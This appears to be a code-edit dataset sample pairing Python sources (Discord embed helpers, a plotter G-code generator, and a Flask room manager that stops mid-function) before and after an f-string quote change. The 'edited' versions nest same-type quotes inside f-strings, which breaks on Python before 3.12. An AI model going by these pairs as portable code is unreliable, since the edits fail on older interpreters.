edited_code stringlengths 17 978k | original_code stringlengths 17 978k |
|---|---|
import datetime
from typing import Union
from asyncpraw import models
from discord import Embed, Color, Member, User, Status, Message, TextChannel
from bot import constants
from bot.utils.misc import (
get_badges, get_join_pos, has_verified_role, format_activity, get_device_status, format_date
)
def simple_embed(message: str, title: str, color: Color) -> Embed:
embed = Embed(title=title, description=message, color=color)
return embed
def footer_embed(message: str, title) -> Embed:
"""
Constructs embed with fixed green color and fixed footer showing website, privacy url and rules url.
:param message: embed description
:param title: title of embed
:return: Embed object
"""
content_footer = (
f"Links: [Website]({constants.website_url}) | "
f"[Privacy statement]({constants.privacy_url}) | "
f"[Rules]({constants.rules_url})"
)
message = f"{message}\n\n{content_footer}"
embed = simple_embed(message, title, color=Color.dark_green())
embed.set_image(url=constants.line_img_url)
return embed
def welcome(message: str) -> Embed:
"""
Constructs welcome embed with fixed title 'Welcome' and green color.
:param message: embed description
:return: Embed object
"""
return simple_embed(message, "Welcome!", color=Color.dark_green())
def goodbye(message: str) -> Embed:
"""
Constructs goodbye embed with fixed title 'Goodbye' and red color.
:param message: embed description
:return: Embed object
"""
return simple_embed(message, "Goodbye", color=Color.dark_red())
async def nsfw_warning_embed(author: Member, additional_msg: str = "") -> Embed:
"""
Constructs a warning embed if a nsfw post is invoked.
:param author: Member who tried to use nsfw.
:param additional_msg: The additional message to add
:return: Embed object
"""
embed = Embed(
title="⚠️Warning",
description=f"**NSFW** posts are not allowed inside the tortoise community\n{additional_msg}",
colour=Color.red()
)
embed.set_author(name=f"{author}", icon_url=author.avatar_url)
return embed
async def reddit_embed(ctx, submission: models.Submission, color=0x3498d) -> Embed:
"""
Embeds a reddit post
:param ctx: The invocation context
:param submission: The submission to embed
:param color: the color of the embed
:return: Embed object
"""
if submission.over_18:
return await nsfw_warning_embed(ctx.author)
await submission.subreddit.load()
await submission.author.load()
subreddit = submission.subreddit.display_name
upvote_emoji = ctx.bot.get_emoji(constants.upvote_emoji_id)
embed = Embed(title=submission.title, url=submission.url, colour=color)
embed.description = (
f"{submission.selftext}\n"
f"{upvote_emoji} {submission.score} 💬 {submission.num_comments}"
)
embed.set_image(url=submission.url)
embed.set_author(name=f"r/{subreddit}", icon_url=submission.subreddit.icon_img)
embed.set_footer(text=f"u/{submission.author.name}", icon_url=submission.author.icon_img)
embed.timestamp = datetime.datetime.fromtimestamp(submission.created_utc)
return embed
def info(message: str, member: Union[Member, User], title: str = "Info") -> Embed:
"""
Constructs success embed with custom title and description.
Color depends on passed member top role color.
:param message: embed description
:param member: member object to get the color of it's top role from
:param title: title of embed, defaults to "Info"
:return: Embed object
"""
return Embed(title=title, description=message, color=get_top_role_color(member, fallback_color=Color.green()))
def success(message: str, member: Union[Member, User] = None) -> Embed:
"""
Constructs success embed with fixed title 'Success' and color depending
on passed member top role color.
If member is not passed or if it's a User (DMs) green color will be used.
:param message: embed description
:param member: member object to get the color of it's top role from,
usually our bot member object from the specific guild.
:return: Embed object
"""
return simple_embed(f"{constants.success_emoji}︱{message}", "",
get_top_role_color(member, fallback_color=Color.green()))
def warning(message: str) -> Embed:
"""
Constructs warning embed with fixed title 'Warning' and color gold.
:param message: embed description
:return: Embed object
"""
return simple_embed(f":warning:︱{message}", "", Color.dark_gold())
def failure(message: str) -> Embed:
"""
Constructs failure embed with fixed title 'Failure' and color red
:param message: embed description
:return: Embed object
"""
return simple_embed(f"{constants.failure_emoji}︱{message}", "", Color.red())
def authored(message: str, *, author: Union[Member, User]) -> Embed:
"""
Construct embed and sets its author to passed param author.
Embed color is based on passed author top role color.
:param author: to whom the embed will be authored.
:param message: message to display in embed.
:return: discord.Embed
"""
embed = Embed(description=message, color=get_top_role_color(author, fallback_color=Color.green()))
embed.set_author(name=author.name, icon_url=author.avatar_url)
return embed
def thumbnail(message: str, member: Union[Member, User], title: str = None) -> Embed:
"""
Construct embed and sets thumbnail based on passed param member avatar image..
Embed color is based on passed author top role color.
:param message: message to display in embed.
:param member: member from which to get thumbnail from
:param title: str title of embed
:return: discord.Embed
"""
embed = Embed(title=title, description=message, color=get_top_role_color(member, fallback_color=Color.green()))
embed.set_thumbnail(url=str(member.avatar_url))
return embed
def status_embed(ctx, member: Member) -> Embed:
"""
Construct status embed for certain member.
Status will have info such as member device, online status, activity, roles etc.
:param ctx: context variable to get the member
:param member: member to get data from
:return: discord.Embed
"""
color_dict = {
Status.online: Color.green(),
Status.offline: 0x000000,
Status.idle: Color.orange(),
Status.dnd: Color.red()
}
embed = Embed(title=str(member), color=color_dict[member.status])
embed.description = get_badges(member)
embed.set_thumbnail(url=member.avatar_url)
bot = constants.tick_no
nick = member.nick
verified = constants.tick_no
join_pos = get_join_pos(ctx, member)
activities = ""
if member.bot:
bot = constants.tick_yes
if has_verified_role(ctx, member):
verified = constants.tick_yes
if not nick:
nick = constants.tick_no
for activity in member.activities:
clean_activity = format_activity(activity)
activities += f"{clean_activity}\n"
embed.add_field(name=f"{constants.pin_emoji} General info",
value=f"**Nick** : {nick}\n**Bot** : {bot}\n"
f"**Verified** : {verified}\n**Join position** : {join_pos}")
embed.add_field(name=f"{constants.user_emoji} Status", value=get_device_status(member), inline=False)
embed.add_field(name="📆 Dates",
value=f"**Join date** : {format_date(member.joined_at)}\n "
f"**Creation Date** : {format_date(member.created_at)}",
inline=False)
if not activities == "":
embed.add_field(name='Activities', value=activities, inline=False)
return embed
def infraction_embed(
ctx,
infracted_member: Union[Member, User],
infraction_type: constants.Infraction,
reason: str
) -> Embed:
"""
:param ctx: context to get mod member from (the one who issued this infraction) and
bot so we can get it's image.
:param infracted_member: member who got the infraction
:param infraction_type: infraction type
:param reason: str reason for infraction
:return: discord Embed
"""
embed = Embed(title="**Infraction information**", color=infraction_type.value)
embed.set_author(name="Tortoise Community", icon_url=ctx.me.avatar_url)
embed.add_field(name="**Member**", value=f"{infracted_member}", inline=False)
embed.add_field(name="**Type**", value=infraction_type.name, inline=False)
embed.add_field(name="**Reason**", value=reason, inline=False)
return embed
def get_top_role_color(member: Union[Member, User], *, fallback_color) -> Color:
"""
Tries to get member top role color and if fails returns fallback_color - This makes it work in DMs.
Also if the top role has default role color then returns fallback_color.
:param member: Member to get top role color from. If it's a User then default discord color will be returned.
:param fallback_color: Color to use if the top role of param member is default color or if param member is
discord.User (DMs)
:return: discord.Color
"""
try:
color = member.top_role.color
except AttributeError:
# Fix for DMs
return fallback_color
if color == Color.default():
return fallback_color
else:
return color
def suggestion_embed(author: User, suggestion: str, status: constants.SuggestionStatus) -> Embed:
"""
Creates suggestion embed message with author thumbnail and suggestion status.
:param author: Discord User from which to get name and avatar
:param suggestion: str actual suggestion text
:param status: constants.SuggestionStatus status for suggestion
:return: discord.Embed
"""
embed = Embed(
title=f"{author}'s suggestion",
description=suggestion,
color=Color.gold()
)
embed.set_thumbnail(url=str(author.avatar_url))
embed.add_field(name="Status", value=status.value)
embed.set_footer(text=f"UID: {author.id} ◆ Powered by Tortoise Community.")
return embed
async def create_suggestion_msg(channel: TextChannel, author: User, suggestion: str) -> Message:
"""
Creates suggestion embed with up-vote and down-vote reactions.
:param channel: TextChannel channel where to sent created suggestion embed
:param author: User discord user from which to get name and avatar
:param suggestion: str actual suggestion text
:return: discord.Message
"""
thumbs_up_reaction = "\U0001F44D"
thumbs_down_reaction = "\U0001F44E"
embed = suggestion_embed(author, suggestion, constants.SuggestionStatus.under_review)
suggestion_msg = await channel.send(embed=embed)
await suggestion_msg.add_reaction(thumbs_up_reaction)
await suggestion_msg.add_reaction(thumbs_down_reaction)
return suggestion_msg
def black_jack_template(author: User, player, description: str, color: Color) -> Embed:
"""
Creates black jack embed template.
:param author: User discord user from which to get name and avatar
:param player: player object
:param description: embed description
:param color: discord.Color
:return: discord.Embed
"""
embed = authored(description, author=author)
embed.colour = color
embed.set_thumbnail(
url="https://www.vhv.rs/dpng/d/541-5416003_poker-club-icon-splash-diwali-coasters-black-background.png"
)
card_string = player.get_emote_string(hidden=False)
embed.add_field(name="Your hand", value=f"{card_string}")
embed.set_footer(
text="BlackJack",
icon_url="https://i.pinimg.com/originals/c3/5f/63/c35f630a4efb237206ec94f8950dcad5.png"
)
return embed
def black_jack_embed(user: User, player, outcome: str = None, hidden: bool = True) -> Embed:
"""
Creates embed based on set of constraints for blackjack
:param user: discord.User
:param player: player object for blackjack
:param outcome: blackjack game outcome
:param hidden: dealer card value
:return: discord.Embed
"""
embed = black_jack_template(user, player, "", Color.gold())
embed.add_field(name="Dealer hand", value=player.game.dealer.get_emote_string(hidden=hidden))
if outcome == "win":
embed.colour = Color.dark_green()
embed.description = "**Outcome:** You won!"
elif outcome == "lose":
embed.colour = Color.dark_red()
embed.description = "**Outcome:** You lost!"
elif outcome == "tie":
embed.colour = Color.dark_grey()
embed.description = "**Outcome:** It's a tie!"
return embed
def project_embed(projects: dict, me):
desc = f"▰▱▰▱▰▱▰▱▰▱▰▱▰▱▰▱▰▱\n\n**Active repositories: **{len(projects)-1}\n"
embed = simple_embed(title="Tortoise Community", message=desc,
color=get_top_role_color(member=me, fallback_color=Color.light_grey()))
embed.set_thumbnail(url=me.avatar_url)
embed.set_author(name="Github Stats",
icon_url="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png")
embed.set_footer(text="Last updated: ")
embed.timestamp = projects["last_updated"]
for item in projects:
if item == "last_updated":
continue
project = projects[item]
embed.add_field(name=f"\n{constants.embed_space}\n{constants.git_repo_emoji} {project.name}",
value=f"• [repository]({project.link})\n"
f"• [web]({project.web_url})\n"
f"• [issues]({project.link+"/issues"})",
inline=False)
embed.add_field(name="Commits", value=f"{constants.git_commit_emoji} {project.commits}")
embed.add_field(name="Stars", value=f"{constants.git_start_emoji} {project.stars}")
embed.add_field(name="Forks", value=f"{constants.git_fork_emoji} {project.forks}")
return embed
| import datetime
from typing import Union
from asyncpraw import models
from discord import Embed, Color, Member, User, Status, Message, TextChannel
from bot import constants
from bot.utils.misc import (
get_badges, get_join_pos, has_verified_role, format_activity, get_device_status, format_date
)
def simple_embed(message: str, title: str, color: Color) -> Embed:
embed = Embed(title=title, description=message, color=color)
return embed
def footer_embed(message: str, title) -> Embed:
"""
Constructs embed with fixed green color and fixed footer showing website, privacy url and rules url.
:param message: embed description
:param title: title of embed
:return: Embed object
"""
content_footer = (
f"Links: [Website]({constants.website_url}) | "
f"[Privacy statement]({constants.privacy_url}) | "
f"[Rules]({constants.rules_url})"
)
message = f"{message}\n\n{content_footer}"
embed = simple_embed(message, title, color=Color.dark_green())
embed.set_image(url=constants.line_img_url)
return embed
def welcome(message: str) -> Embed:
"""
Constructs welcome embed with fixed title 'Welcome' and green color.
:param message: embed description
:return: Embed object
"""
return simple_embed(message, "Welcome!", color=Color.dark_green())
def goodbye(message: str) -> Embed:
"""
Constructs goodbye embed with fixed title 'Goodbye' and red color.
:param message: embed description
:return: Embed object
"""
return simple_embed(message, "Goodbye", color=Color.dark_red())
async def nsfw_warning_embed(author: Member, additional_msg: str = "") -> Embed:
"""
Constructs a warning embed if a nsfw post is invoked.
:param author: Member who tried to use nsfw.
:param additional_msg: The additional message to add
:return: Embed object
"""
embed = Embed(
title="⚠️Warning",
description=f"**NSFW** posts are not allowed inside the tortoise community\n{additional_msg}",
colour=Color.red()
)
embed.set_author(name=f"{author}", icon_url=author.avatar_url)
return embed
async def reddit_embed(ctx, submission: models.Submission, color=0x3498d) -> Embed:
"""
Embeds a reddit post
:param ctx: The invocation context
:param submission: The submission to embed
:param color: the color of the embed
:return: Embed object
"""
if submission.over_18:
return await nsfw_warning_embed(ctx.author)
await submission.subreddit.load()
await submission.author.load()
subreddit = submission.subreddit.display_name
upvote_emoji = ctx.bot.get_emoji(constants.upvote_emoji_id)
embed = Embed(title=submission.title, url=submission.url, colour=color)
embed.description = (
f"{submission.selftext}\n"
f"{upvote_emoji} {submission.score} 💬 {submission.num_comments}"
)
embed.set_image(url=submission.url)
embed.set_author(name=f"r/{subreddit}", icon_url=submission.subreddit.icon_img)
embed.set_footer(text=f"u/{submission.author.name}", icon_url=submission.author.icon_img)
embed.timestamp = datetime.datetime.fromtimestamp(submission.created_utc)
return embed
def info(message: str, member: Union[Member, User], title: str = "Info") -> Embed:
"""
Constructs success embed with custom title and description.
Color depends on passed member top role color.
:param message: embed description
:param member: member object to get the color of it's top role from
:param title: title of embed, defaults to "Info"
:return: Embed object
"""
return Embed(title=title, description=message, color=get_top_role_color(member, fallback_color=Color.green()))
def success(message: str, member: Union[Member, User] = None) -> Embed:
"""
Constructs success embed with fixed title 'Success' and color depending
on passed member top role color.
If member is not passed or if it's a User (DMs) green color will be used.
:param message: embed description
:param member: member object to get the color of it's top role from,
usually our bot member object from the specific guild.
:return: Embed object
"""
return simple_embed(f"{constants.success_emoji}︱{message}", "",
get_top_role_color(member, fallback_color=Color.green()))
def warning(message: str) -> Embed:
"""
Constructs warning embed with fixed title 'Warning' and color gold.
:param message: embed description
:return: Embed object
"""
return simple_embed(f":warning:︱{message}", "", Color.dark_gold())
def failure(message: str) -> Embed:
"""
Constructs failure embed with fixed title 'Failure' and color red
:param message: embed description
:return: Embed object
"""
return simple_embed(f"{constants.failure_emoji}︱{message}", "", Color.red())
def authored(message: str, *, author: Union[Member, User]) -> Embed:
"""
Construct embed and sets its author to passed param author.
Embed color is based on passed author top role color.
:param author: to whom the embed will be authored.
:param message: message to display in embed.
:return: discord.Embed
"""
embed = Embed(description=message, color=get_top_role_color(author, fallback_color=Color.green()))
embed.set_author(name=author.name, icon_url=author.avatar_url)
return embed
def thumbnail(message: str, member: Union[Member, User], title: str = None) -> Embed:
"""
Construct embed and sets thumbnail based on passed param member avatar image..
Embed color is based on passed author top role color.
:param message: message to display in embed.
:param member: member from which to get thumbnail from
:param title: str title of embed
:return: discord.Embed
"""
embed = Embed(title=title, description=message, color=get_top_role_color(member, fallback_color=Color.green()))
embed.set_thumbnail(url=str(member.avatar_url))
return embed
def status_embed(ctx, member: Member) -> Embed:
"""
Construct status embed for certain member.
Status will have info such as member device, online status, activity, roles etc.
:param ctx: context variable to get the member
:param member: member to get data from
:return: discord.Embed
"""
color_dict = {
Status.online: Color.green(),
Status.offline: 0x000000,
Status.idle: Color.orange(),
Status.dnd: Color.red()
}
embed = Embed(title=str(member), color=color_dict[member.status])
embed.description = get_badges(member)
embed.set_thumbnail(url=member.avatar_url)
bot = constants.tick_no
nick = member.nick
verified = constants.tick_no
join_pos = get_join_pos(ctx, member)
activities = ""
if member.bot:
bot = constants.tick_yes
if has_verified_role(ctx, member):
verified = constants.tick_yes
if not nick:
nick = constants.tick_no
for activity in member.activities:
clean_activity = format_activity(activity)
activities += f"{clean_activity}\n"
embed.add_field(name=f"{constants.pin_emoji} General info",
value=f"**Nick** : {nick}\n**Bot** : {bot}\n"
f"**Verified** : {verified}\n**Join position** : {join_pos}")
embed.add_field(name=f"{constants.user_emoji} Status", value=get_device_status(member), inline=False)
embed.add_field(name="📆 Dates",
value=f"**Join date** : {format_date(member.joined_at)}\n "
f"**Creation Date** : {format_date(member.created_at)}",
inline=False)
if not activities == "":
embed.add_field(name='Activities', value=activities, inline=False)
return embed
def infraction_embed(
ctx,
infracted_member: Union[Member, User],
infraction_type: constants.Infraction,
reason: str
) -> Embed:
"""
:param ctx: context to get mod member from (the one who issued this infraction) and
bot so we can get it's image.
:param infracted_member: member who got the infraction
:param infraction_type: infraction type
:param reason: str reason for infraction
:return: discord Embed
"""
embed = Embed(title="**Infraction information**", color=infraction_type.value)
embed.set_author(name="Tortoise Community", icon_url=ctx.me.avatar_url)
embed.add_field(name="**Member**", value=f"{infracted_member}", inline=False)
embed.add_field(name="**Type**", value=infraction_type.name, inline=False)
embed.add_field(name="**Reason**", value=reason, inline=False)
return embed
def get_top_role_color(member: Union[Member, User], *, fallback_color) -> Color:
"""
Tries to get member top role color and if fails returns fallback_color - This makes it work in DMs.
Also if the top role has default role color then returns fallback_color.
:param member: Member to get top role color from. If it's a User then default discord color will be returned.
:param fallback_color: Color to use if the top role of param member is default color or if param member is
discord.User (DMs)
:return: discord.Color
"""
try:
color = member.top_role.color
except AttributeError:
# Fix for DMs
return fallback_color
if color == Color.default():
return fallback_color
else:
return color
def suggestion_embed(author: User, suggestion: str, status: constants.SuggestionStatus) -> Embed:
"""
Creates suggestion embed message with author thumbnail and suggestion status.
:param author: Discord User from which to get name and avatar
:param suggestion: str actual suggestion text
:param status: constants.SuggestionStatus status for suggestion
:return: discord.Embed
"""
embed = Embed(
title=f"{author}'s suggestion",
description=suggestion,
color=Color.gold()
)
embed.set_thumbnail(url=str(author.avatar_url))
embed.add_field(name="Status", value=status.value)
embed.set_footer(text=f"UID: {author.id} ◆ Powered by Tortoise Community.")
return embed
async def create_suggestion_msg(channel: TextChannel, author: User, suggestion: str) -> Message:
"""
Creates suggestion embed with up-vote and down-vote reactions.
:param channel: TextChannel channel where to sent created suggestion embed
:param author: User discord user from which to get name and avatar
:param suggestion: str actual suggestion text
:return: discord.Message
"""
thumbs_up_reaction = "\U0001F44D"
thumbs_down_reaction = "\U0001F44E"
embed = suggestion_embed(author, suggestion, constants.SuggestionStatus.under_review)
suggestion_msg = await channel.send(embed=embed)
await suggestion_msg.add_reaction(thumbs_up_reaction)
await suggestion_msg.add_reaction(thumbs_down_reaction)
return suggestion_msg
def black_jack_template(author: User, player, description: str, color: Color) -> Embed:
"""
Creates black jack embed template.
:param author: User discord user from which to get name and avatar
:param player: player object
:param description: embed description
:param color: discord.Color
:return: discord.Embed
"""
embed = authored(description, author=author)
embed.colour = color
embed.set_thumbnail(
url="https://www.vhv.rs/dpng/d/541-5416003_poker-club-icon-splash-diwali-coasters-black-background.png"
)
card_string = player.get_emote_string(hidden=False)
embed.add_field(name="Your hand", value=f"{card_string}")
embed.set_footer(
text="BlackJack",
icon_url="https://i.pinimg.com/originals/c3/5f/63/c35f630a4efb237206ec94f8950dcad5.png"
)
return embed
def black_jack_embed(user: User, player, outcome: str = None, hidden: bool = True) -> Embed:
"""
Creates embed based on set of constraints for blackjack
:param user: discord.User
:param player: player object for blackjack
:param outcome: blackjack game outcome
:param hidden: dealer card value
:return: discord.Embed
"""
embed = black_jack_template(user, player, "", Color.gold())
embed.add_field(name="Dealer hand", value=player.game.dealer.get_emote_string(hidden=hidden))
if outcome == "win":
embed.colour = Color.dark_green()
embed.description = "**Outcome:** You won!"
elif outcome == "lose":
embed.colour = Color.dark_red()
embed.description = "**Outcome:** You lost!"
elif outcome == "tie":
embed.colour = Color.dark_grey()
embed.description = "**Outcome:** It's a tie!"
return embed
def project_embed(projects: dict, me):
desc = f"▰▱▰▱▰▱▰▱▰▱▰▱▰▱▰▱▰▱\n\n**Active repositories: **{len(projects)-1}\n"
embed = simple_embed(title="Tortoise Community", message=desc,
color=get_top_role_color(member=me, fallback_color=Color.light_grey()))
embed.set_thumbnail(url=me.avatar_url)
embed.set_author(name="Github Stats",
icon_url="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png")
embed.set_footer(text="Last updated: ")
embed.timestamp = projects["last_updated"]
for item in projects:
if item == "last_updated":
continue
project = projects[item]
embed.add_field(name=f"\n{constants.embed_space}\n{constants.git_repo_emoji} {project.name}",
value=f"• [repository]({project.link})\n"
f"• [web]({project.web_url})\n"
f"• [issues]({project.link+'/issues'})",
inline=False)
embed.add_field(name="Commits", value=f"{constants.git_commit_emoji} {project.commits}")
embed.add_field(name="Stars", value=f"{constants.git_start_emoji} {project.stars}")
embed.add_field(name="Forks", value=f"{constants.git_fork_emoji} {project.forks}")
return embed
|
import burin.types
class GCodeGen:
def __init__(self):
self.speeds = {'v' : 4000, 'z' : 100, 'travel' : 10000, 'plot' : 2000}
self.heights = {'z_clearance' : 15, 'v_clearance' : 1.0, # Z and V axis heights for moving around during setup
'z_travel' : 10, 'v_travel' : 4, # Z and V axis heights for rapiding around during plotting
'v_toolchange' : 5.0, # V height for changing tools. (v_down - v_toolchange) controls force using during plotting
'v_down' : 5.5} # V height for actually plotting
def generate_segment(self, segment):
""" V-axis pen plotting gcode for a continuous segment of objects. """
plot = self.speeds['plot']
start = segment[0].endpoints()[0]
yield f"G0 X{start[0]} Y{start[1]} F{self.speeds["travel"]}"
yield f"G0 V{self.heights["v_down"]} F{self.speeds["v"]}"
for i, seg in enumerate(segment):
if isinstance(seg, burin.types.Polyline):
n = 1 if i == 0 else 0
for x,y in seg.coords[n:]:
yield f"G1 X{x} Y{y} F{plot}"
elif isinstance(seg, burin.types.BSpline):
n = 1 if i == 0 else 0
for x,y in seg.linearize_for_drawing()[n:]:
yield f"G1 X{x} Y{y} F{plot}"
elif isinstance(seg, burin.types.Arc):
start, end = seg.endpoints()
I,J = seg.center - start
if i != 0:
yield f"G1 X{start[0]} Y{start[1]} F{plot}"
yield f"G{2 if seg.clockwise else 3} X{end[0]} Y{end[1]} I{I} J{J} F{plot}"
else:
yield ";Point!"
yield f"G0 V{self.heights["v_travel"]} F{self.speeds["v"]}"
def go_to_clearance(self):
yield f'G0 Z{self.heights['z_clearance']} V{self.heights['v_clearance']} F{self.speeds['z']}'
def go_to_travel(self):
yield f'G0 Z{self.heights['z_travel']} V{self.heights['v_travel']} F{self.speeds['z']}'
def start_plot(self, tool = 3):
yield ";Home the pen, go to the clearance plane, and pick up the tool"
yield "G28 V0"
yield from self.go_to_clearance()
yield f"T{tool}"
def finish_plot(self):
yield ";Return to clearance state, and put the tool back"
yield from self.go_to_clearance()
yield f'T-1'
def prompt_pen_change(self):
""" Assumes machine is in some location at the clearance state
1) Prompts user to remove the current tool
2) Homes pen, and goes to the z travel height + toolchange v height.
3) Prompts user to insert the new tool, in contact with work
4) Returns to clearance state """
yield ';Prompt user to remove the current tool from the plotter head'
yield 'M291 P"Remove any pen present in tool" T-1'
yield 'M226'
yield ';Home the pen, and go to the toolchange state'
yield 'G28 V0'
yield f'G0 Z{self.heights['z_travel']} V{self.heights['v_toolchange']} F{self.speeds['z']}'
yield ";Prompt the user to insert and lock the new tool"
yield 'M291 P"Touch pen to material surface and lock" T-1'
yield 'M226'
yield ";Return to clearance state"
yield from self.go_to_clearance()
|
import burin.types
class GCodeGen:
def __init__(self):
self.speeds = {'v' : 4000, 'z' : 100, 'travel' : 10000, 'plot' : 2000}
self.heights = {'z_clearance' : 15, 'v_clearance' : 1.0, # Z and V axis heights for moving around during setup
'z_travel' : 10, 'v_travel' : 4, # Z and V axis heights for rapiding around during plotting
'v_toolchange' : 5.0, # V height for changing tools. (v_down - v_toolchange) controls force using during plotting
'v_down' : 5.5} # V height for actually plotting
def generate_segment(self, segment):
""" V-axis pen plotting gcode for a continuous segment of objects. """
plot = self.speeds['plot']
start = segment[0].endpoints()[0]
yield f"G0 X{start[0]} Y{start[1]} F{self.speeds['travel']}"
yield f"G0 V{self.heights['v_down']} F{self.speeds['v']}"
for i, seg in enumerate(segment):
if isinstance(seg, burin.types.Polyline):
n = 1 if i == 0 else 0
for x,y in seg.coords[n:]:
yield f"G1 X{x} Y{y} F{plot}"
elif isinstance(seg, burin.types.BSpline):
n = 1 if i == 0 else 0
for x,y in seg.linearize_for_drawing()[n:]:
yield f"G1 X{x} Y{y} F{plot}"
elif isinstance(seg, burin.types.Arc):
start, end = seg.endpoints()
I,J = seg.center - start
if i != 0:
yield f"G1 X{start[0]} Y{start[1]} F{plot}"
yield f"G{2 if seg.clockwise else 3} X{end[0]} Y{end[1]} I{I} J{J} F{plot}"
else:
yield ";Point!"
yield f"G0 V{self.heights['v_travel']} F{self.speeds['v']}"
def go_to_clearance(self):
yield f'G0 Z{self.heights["z_clearance"]} V{self.heights["v_clearance"]} F{self.speeds["z"]}'
def go_to_travel(self):
yield f'G0 Z{self.heights["z_travel"]} V{self.heights["v_travel"]} F{self.speeds["z"]}'
def start_plot(self, tool = 3):
yield ";Home the pen, go to the clearance plane, and pick up the tool"
yield "G28 V0"
yield from self.go_to_clearance()
yield f"T{tool}"
def finish_plot(self):
yield ";Return to clearance state, and put the tool back"
yield from self.go_to_clearance()
yield f'T-1'
def prompt_pen_change(self):
""" Assumes machine is in some location at the clearance state
1) Prompts user to remove the current tool
2) Homes pen, and goes to the z travel height + toolchange v height.
3) Prompts user to insert the new tool, in contact with work
4) Returns to clearance state """
yield ';Prompt user to remove the current tool from the plotter head'
yield 'M291 P"Remove any pen present in tool" T-1'
yield 'M226'
yield ';Home the pen, and go to the toolchange state'
yield 'G28 V0'
yield f'G0 Z{self.heights["z_travel"]} V{self.heights["v_toolchange"]} F{self.speeds["z"]}'
yield ";Prompt the user to insert and lock the new tool"
yield 'M291 P"Touch pen to material surface and lock" T-1'
yield 'M226'
yield ";Return to clearance state"
yield from self.go_to_clearance()
|
import os
import copy
from flask import (
Blueprint,
render_template,
request,
flash,
abort,
redirect,
url_for,
current_app,
)
from lightbluetent.models import db, User, Society
from lightbluetent.home import auth_decorator
from lightbluetent.utils import gen_unique_string, match_social, get_social_by_id
from PIL import Image
from flask_babel import _
from datetime import time
from sqlalchemy.orm.attributes import flag_modified
bp = Blueprint("rooms", __name__, url_prefix="/r")
def remove_logo(path):
images_dir = current_app.config["IMAGES_DIR"]
if not os.path.isdir(images_dir):
current_app.logger.info(f"'{ images_dir }': no such directory.")
abort(500)
if not os.path.isfile(path):
current_app.logger.info(f"no logo to delete")
return
os.remove(path)
current_app.logger.info(f"Deleted logo '{ path }'")
# Delete logo on disk for the society with given uid
def delete_society_logo(uid):
images_dir = current_app.config["IMAGES_DIR"]
society = Society.query.filter_by(uid=uid).first()
if society.logo == current_app.config["DEFAULT_LOGO"]:
return
else:
current_app.logger.info(f"For uid='{ society.uid }': deleting logo...")
old_logo = os.path.join(images_dir, society.logo)
remove_logo(old_logo)
society.logo = current_app.config["DEFAULT_LOGO"]
db.session.commit()
return
# Delete logo on disk for the society with given uid
def delete_society_bbb_logo(uid):
society = Society.query.filter_by(uid=uid).first()
images_dir = current_app.config["IMAGES_DIR"]
if society.bbb_logo == current_app.config["DEFAULT_BBB_LOGO"]:
return
else:
current_app.logger.info(f"For uid='{ society.uid }': deleting bbb_logo")
old_logo = os.path.join(images_dir, society.bbb_logo)
remove_logo(old_logo)
society.bbb_logo = current_app.config["DEFAULT_BBB_LOGO"]
db.session.commit()
return
# Delete one of the saved sessions in the database, identified by its ID.
# Returns if that session_id doesn't exist.
def delete_society_session(uid, session_id):
society = Society.query.filter_by(uid=uid).first()
sessions = copy.deepcopy(society.sessions)
session_to_delete = next(
(session for session in sessions if session["id"] == session_id), None
)
if session_to_delete is None:
return
else:
current_app.logger.info(
f"For uid='{ society.uid }": deleting session [ day: { session_to_delete["day"] }, start: { session_to_delete["start"] }, end: { session_to_delete["end"] } ]"
)
sessions.remove(session_to_delete)
society.sessions = sessions
db.session.commit()
return
@bp.route("/<uid>", methods=("GET", "POST"))
@auth_decorator
def manage(uid):
has_directory_page = current_app.config["HAS_DIRECTORY_PAGE"]
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
sessions_data = {"days": current_app.config["NUMBER_OF_DAYS"]}
if request.method == "POST":
is_new_owner = False
is_new_session = False
# Input validation from https://github.com/SRCF/control-panel/blob/master/control/webapp/signup.py#L37
values = {}
for key in (
"soc_name",
"website",
"description",
"short_description",
"welcome_text",
"logo",
"banner_text",
"banner_color",
"new_owner_crsid",
"new_session_day",
"new_session_start",
"new_session_end",
):
values[key] = request.form.get(key, "").strip()
for key in ("mute_on_start", "disable_private_chat"):
values[key] = bool(request.form.get(key, False))
errors = {}
if len(values["soc_name"]) <= 1:
errors["soc_name"] = _("Society name is too short.")
if len(values["short_description"]) > 200:
errors["short_description"] = _("This description is too long.")
if "logo" in request.files:
logo = request.files["logo"]
bbb_logo = request.files["bbb_logo"]
logo_filename, logo_extension = os.path.splitext(logo.filename)
bbb_logo_filename, bbb_logo_extension = os.path.splitext(bbb_logo.filename)
images_dir = current_app.config["IMAGES_DIR"]
if logo and logo_filename != "":
if logo_extension in current_app.config["LOGO_ALLOWED_EXTENSIONS"]:
# Delete the old logo if it's not the default
delete_society_logo(uid)
static_filename = (
society.uid + "_" + gen_unique_string() + logo_extension
)
path = os.path.join(images_dir, static_filename)
current_app.logger.info(
f"For user { crsid }, society uid='{ society.uid }': changing logo..."
)
if not os.path.isdir(images_dir):
current_app.logger.error(
f"'{ images_dir }': no such directory."
)
abort(500)
maxwidth, maxheight = current_app.config["MAX_LOGO_SIZE"]
logo_img = Image.open(logo)
ratio = min(maxwidth / logo_img.width, maxheight / logo_img.height)
# possible optimization with reduce here?
logo_resized = logo_img.resize(
(round(logo_img.width * ratio), round(logo_img.height * ratio))
)
logo_resized.save(path)
current_app.logger.info(
f"For uid='{ society.uid }': saved new logo '{ path }'"
)
society.logo = static_filename
db.session.commit()
current_app.logger.info(f"For uid='{ society.uid }': updated logo.")
else:
errors["logo"] = "Invalid file."
if bbb_logo and bbb_logo_filename != "":
if bbb_logo_extension in current_app.config["LOGO_ALLOWED_EXTENSIONS"]:
# Delete the old logo if it's not the default
delete_society_bbb_logo(uid)
static_filename = (
society.uid + "_bbb_" + gen_unique_string() + bbb_logo_extension
)
path = os.path.join(images_dir, static_filename)
current_app.logger.info(
f"For user { crsid }, society uid='{ society.uid }': changing bbb_logo..."
)
if not os.path.isdir(images_dir):
current_app.logger.error(
f"'{ images_dir }': no such directory."
)
abort(500)
bbb_logo_img = Image.open(bbb_logo)
bbb_logo_resized = bbb_logo_img.resize((100, 30))
bbb_logo_resized.save(path)
current_app.logger.info(
f"For uid='{ society.uid }': saved new bbb_logo to '{ path }'"
)
society.bbb_logo = static_filename
db.session.commit()
current_app.logger.info(
f"For uid='{ society.uid }': updated bbb_logo."
)
else:
